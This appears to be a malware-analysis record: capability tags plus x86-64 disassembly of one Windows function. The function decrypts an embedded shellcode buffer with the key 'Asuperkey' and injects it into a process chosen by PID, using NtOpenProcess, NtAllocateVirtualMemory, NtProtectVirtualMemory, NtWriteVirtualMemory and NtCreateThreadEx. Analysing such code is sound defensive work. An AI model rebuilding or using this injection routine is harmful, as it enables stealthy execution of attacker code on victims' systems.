Function at 0x14001128f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
jmp 0x140019040
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x7a0
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x140
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x7c8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x738], rax
lea rcx, [0x1400260ea]
call fcn.140011398
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xc8], 0
mov dword [rbp + 0xe4], 0
lea rcx, str.NTDLL
call fcn.14001107d
mov qword [rbp + 0xa8], rax
lea rcx, str.kernel32.dll
call fcn.14001107d
mov qword [rbp + 0xc8], rax
lea rdx, str.LoadLibraryW
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x130]
lea rcx, [0x14001e500]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x111
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x268]
lea rcx, str.Asuperkey
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x298]
lea rcx, [0x14001e698]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x2d0]
call fcn.140011384
mov r8d, 0x111
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x2d0]
call fcn.1400113bb
mov qword [rbp + 0x3a8], 0
cmp dword [rbp + 0x760], 2
jge 0x1400191d2
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x768]
mov rdx, qword [rcx + rax]
lea rcx, str.usage__s__PID_
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x768]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x24], eax
lea rax, [rbp + 0x3c8]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rbp + 0x3c8], 0x30
lea rax, [rbp + 0x418]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x24]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0xa8], 0
jne 0x140019251
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_while_getting_handle_to_NTDLL__error_was_:__lx
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
cmp qword [rbp + 0xc8], 0
jne 0x140019279
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_while_getting_handle_to_Kernel32__error_was_:__lx
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
lea rdx, str.NtOpenProcess
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x448], rax
lea r9, [rbp + 0x418]
lea r8, [rbp + 0x3c8]
mov edx, 0x1fffff
lea rcx, [rbp + 0x68]
call qword [rbp + 0x448]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400192d3
mov edx, dword [rbp + 4]
lea rcx, str.Fail_to_get_a_process_handle__x
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x468], rax
mov qword [rbp + 0x488], 0x111
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x488]
xor r8d, r8d
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x468]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140019343
mov edx, dword [rbp + 4]
lea rcx, str.Fail_to_alloc_memory__x
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
lea rdx, str.NtProtectVirtualMemory
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x4a8], rax
lea rax, [rbp + 0xe4]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rbp + 0x488]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x4a8]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400193a7
mov edx, dword [rbp + 4]
lea rcx, str.Fail_to_change_security_descriptor__x
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x4c8], rax
lea rax, [rbp + 0x3a8]
mov qword [rsp + 0x20], rax
mov r9d, 0x111
lea r8, [rbp + 0x130]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x4c8]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001940b
mov edx, dword [rbp + 4]
lea rcx, str.Fail_to_write_to_memory__error_was_0x_x_n
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
lea rax, [rbp + 0xe4]
mov qword [rsp + 0x20], rax
mov r9d, 0x10
lea r8, [rbp + 0x488]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x4a8]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140019454
mov edx, dword [rbp + 4]
lea rcx, str.Fail_to_change_security_descriptor__x
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x4e8], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x68]
lea r8, [rbp + 0x3c8]
mov edx, 0x1fffff
lea rcx, [rbp + 0x88]
call qword [rbp + 0x4e8]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400194e9
mov edx, dword [rbp + 4]
lea rcx, str.Fail_to_execute_thread__x
call fcn.1400111b3
mov eax, 1
jmp 0x1400194ef
jmp 0x1400194ed
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001e3c0]
call fcn.14001132f
mov rax, rdi
mov rcx, qword [rbp + 0x738]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x740]
pop rdi
pop rsi
pop rbp
ret